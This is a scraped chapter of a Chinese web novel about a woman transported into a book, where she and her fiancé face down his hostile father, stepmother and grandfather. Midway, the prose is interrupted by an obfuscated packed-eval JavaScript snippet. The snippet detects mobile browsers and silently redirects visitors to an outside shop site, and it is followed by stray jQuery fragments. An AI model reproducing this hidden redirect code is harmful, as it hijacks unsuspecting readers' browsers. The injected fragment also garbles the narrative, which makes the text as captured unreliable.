凌晨时分,刚走到纺织厂家属院的沈粲粲和谢沉澜让谢老将军的警卫员强行请到了谢家。
谢家书房,谢老将军谢渊眉头紧锁,嘴角下拉,面露怒容看着沈粲粲和谢沉澜,眼角的疤痕更显狰狞。
谢父谢荣看见谢沉澜时怒不可遏,一脸嫌恶,连问都不问一句就要伸手朝着他的脸扇去。
沈粲粲相信以谢沉澜的身手肯定能躲开,但他一言不发、不躲不闪。眼见巴掌要落在他脸上,沈粲粲攥着他的手使了大劲儿把他扯远,接着迅速拿出辣椒喷雾朝着谢荣的眼睛喷去。
谢荣一个不妨,只得捂着眼睛哀嚎。
此时从医院赶回来的苏小丽知道谢沉澜和沈粲粲来了,从厨房拿着擀面杖就疾冲到书房,咬牙切齿,恨不得将谢沉澜撕了,挥舞着擀面杖朝他后背打上去。
“谢沉澜!你个有娘生没娘养的小畜牲,我当初趁你小的时候就应该掐死你,现在居然敢伤我儿子!我跟你拼了!”
谢沉澜对谢荣以及谢老将军尚且还有一丝亲情,但对苏小丽和谢玉堂一样痛恨,岂能让她放肆?
他揽着沈粲粲退到一边,跟疯婆子一样冲进来的苏小丽根本来不及刹停脚步,于是擀面杖打到了谢荣的脑袋上。
可怜谢荣辣椒水带来的刺痛还没有缓解,就承受了棍棒袭击,整个人晕乎地脚步踉跄,指着苏小丽的手指都在颤抖。
“好啊,谢荣,小畜牲现在出息了,你就护着他当慈父了,瞧瞧我还没怎么呢,你眼睛都红成这样为他讨公道。可怜我的玉堂现在还躺在医院,成了个废人!你们谢家人都不是好东西!”
苏小丽现在气到失去理智,刚好谢荣因为双重疼痛佝偻着身子,她扯着他的头发就开始扇巴掌。
“小丽,你误会我了,我刚才是要为我们儿子讨公道,你……你快住手!”
在一旁的沈粲粲觉得这狗咬狗的场面精彩极了,要不是谢老爷子目光犀利如鹰隼般盯着她和谢沉澜,她简直想笑出声来。
“够了!还嫌家里不够乱吗?”
谢渊拐杖狠狠敲在地上,苏小丽这才想起正事,瞪了谢荣一眼,目光不善地看向沈粲粲和谢沉澜。
“沈粲粲,我是看在你爸妈的面上,不跟你追究。但你要嫁给我们玉堂,否则你和谢沉澜这个小畜牲都没有好果子吃。”
苏小丽见到沈粲粲的第一眼就不喜,那双桃花眼看起来就不像个安分的,见了她没有一点晚辈见长辈的柔顺,勾得她儿子非她不娶,现在又和谢沉澜这个小畜牲勾搭在一起。
“不可能……”
谢沉澜冷肃的话音刚起,沈粲粲不疾不徐接话。
“你是做梦没醒吗?谢玉堂那种人渣,我会嫁给他?哦,我还准备告他,控制不住自己行为的才叫畜牲,甚至叫谢玉堂小畜牲都是抬举他,这种猪狗不如的畜牲当然不会有好果子吃!”
沈粲粲语气冷淡,一番话说得苏小丽刻薄的脸上更加扭曲,鼻翼收缩,气到大口喘气。
“你……你,小贱人,你敢告我儿子,我就把你和谢沉澜乱搞男女关系的事情抖出去,还有他故意伤害……”
苏小丽想到谢玉堂伤的地方,简直要气疯,恨不得捅谢沉澜十几刀解恨!
谢沉澜不在意苏小丽骂自己什么,可听到她敢侮辱沈粲粲,慑人的目光盯着她,苏小丽吓得一哆嗦,移开目光,剩下的话也含混吞了回去。
“你把嘴巴放干净,我和沈同志……”
谢沉澜想说他们有婚约,现在在处对象,可想到沈粲粲还没有承认他,刚想换个说法,沈粲粲悄悄戳他腰,赶忙接话让他闭嘴,他只好垂眸任由她发挥。
“乱搞男女关系?看来您想和您宝贝儿子一起进去了,污蔑军人名声是什么罪,就算您现在神志不清也应该知道吧?怎么就故意伤害了?要不是谢团长及时赶到见义勇为,那人渣可是要枪.毙的,您应该感谢他的大恩大德才对,可别老糊涂了呀!”
沈粲粲意外来到书中世界,见多了极品,她怼人的功力强了不是一点半点!
于是在她眼里嘴笨的小可怜谢沉澜不停地释放冷气给这对奇葩夫妻心理压力,而她一张巧嘴充当前锋跟他们讲道理,双重压力之下就不信收拾不了他们!
偏偏她用软糯清甜的声音,漂亮无辜的脸蛋,自己不生气,只把歇斯底里的对方气到要吐血。
苏小丽还真让打磕巴半天气得说不出话,差点厥过去,眼神示意谢荣上。
“你小小年纪怎么半点不懂得尊敬长辈?你父母是怎么教养你的?罢了,以后嫁给玉堂,你婆婆会慢慢教你规矩!”
沈粲粲算是让着老不要脸的东西开眼了!
谢沉澜一听到他们妄想让沈粲粲嫁给谢玉堂,明知不可能,可身上凛冽迫人的气息不自觉就会更重,脸色冷沉一片,几次要张口说话,都让沈粲粲悄悄戳着腰顶了回去。
见她眼眸亮晶晶,一副跃跃欲试把谢家人气到吐血的模样,于是沉默地做个护卫者,将她牢牢护在自己保护范围内。
“尊敬长辈还得这长辈值得人尊敬才是,我父母可不会教出下三滥的玩意儿,想必您家家风不错?当年那些事……唉,我一个小辈也不好说。我要是谢家人,简直恨死那些吃里扒外的东西了,没想到还真有人老糊涂了,放着亲孙子不管不顾,一句维护都没有,反而纵容一个上不了台面的东西!”
此话一出,沈粲粲完全是说给谢渊听得,虽说是书中剧情设定,但冷漠成他这样,对自己亲孙子一脸嫌恶的还真是少见。尤其是她亲眼见到,这老爷子跟个NPC一样坐在那里,眼神里都是对谢沉澜的嫌恶,就想刺激一下他,说不定她这个外来者能让他悔悟。
谢荣和苏小丽这些年过惯安逸日子了,尤其是谢玉堂出生后,谢渊像是突然变了一个人,对他们一家子好了起来,反而对两个亲孙子各种排斥打压,现在猝不及防让沈粲粲撕掉遮羞布,不约而同眼神惊慌地看向谢渊。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13900296|147216||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
谢渊心头一震,脑海中闪过谢沉澜十二岁之前祖孙俩相处的画面,可马上又让谢玉堂多年承欢膝下的画面覆盖。他眼神开始挣扎,像个程序设定好的机器出了岔子,有些脱离掌控了,可又有一股强大的力量要将他拉回既定轨道。
“这件事就算了吧,玉堂和沈家女儿没有缘分,沉澜……你不该对你弟弟下那么重的手,他还小……”
说着说着,谢渊脑海中闪过自己多次因为谢玉堂用马鞭抽打谢沉澜的画面。
这次他站在旁观者的视角,看到了少年谢沉澜的隐忍失落,攥着拳头辩解,可当他想要认真听时,小谢玉堂像个扭糖一样坐在他膝上将他思绪带偏,他因为谢沉澜撒谎的嫌恶就会加深,而得逞的谢玉堂洋洋得意看着谢沉澜。
久而久之,小少年不再辩解,看向谢渊的眼神也不再濡慕,越来越陌生。
“阿澜……”
谢渊拐杖砸落在地,他颤颤巍巍站起身,对上谢沉澜淡然无波的眼神,眼角湿润,各种刺激之下他重重倒在地上,最后一刻是谢沉澜疾步上前想要扶住他……
谢家在谢玉堂出事之后,遭受了刺激的谢老爷子也倒下了,陷入昏迷,全国专家会诊也查不出病因,三天后他自己醒来了,原本精神矍铄的身体一下子显出老态,坐上了轮椅。
“阿澜,爷爷对不起你!”
谢渊看到守在病床前,满眼血丝,留着青色胡渣的倦容,向来流血不流泪的他居然泪如雨下,满是皱纹的手想摸摸谢沉澜的肩膀,可又停留在半空,只得重重叹了一口气。
“爷爷不求你能原谅,你以后过好自己的日子,沈丫头是个好的,你要好好对她。以后要是愿意回来看看我就好,爷爷这些年确实老糊涂了……”
混沌了多年的神志一下子清醒,可做过的事无法消除痕迹,祖孙俩再也回不到当初没有隔阂的时候了。
谢沉澜沉默寡言,不知道说些什么,气氛僵持之际,沈粲粲带着饭盒进来,他瞬间松了一口气。谢渊假装要休息了,谢沉澜和沈粲粲二人离开病房。
“听魏东明说,谢荣和苏小丽昨天晚上偷谢家的东西,让警务员逮个正着,现在控制在谢家书房,打算等谢老将军醒来后处理。”
沈粲粲撑着下巴看着谢沉澜眉眼低垂,心不在焉地吃了几口便将筷子搁置,怔愣地看着她。
虽然开始心疼男人不是一个好现象,可她看到谢沉澜这副样子,还是觉得心里不好受。
“谢玉堂现在已经醒了,他闯到病房说了一些匪夷所思的事情,他说,这个世界是书中世界,你们才是男女主,而你是他命定的妻子……粲粲,我不明白……”
堵在谢沉澜心头的不止谢老爷子一事,还有谢玉堂那些毫无逻辑的话。
“谢崽崽,你不需要明白,你只要知道我会一直在你身边。”
盛夏,树荫,无人角落,沈粲粲倾身吻上他的唇角。
大概一切都是命中注定,她为他而来……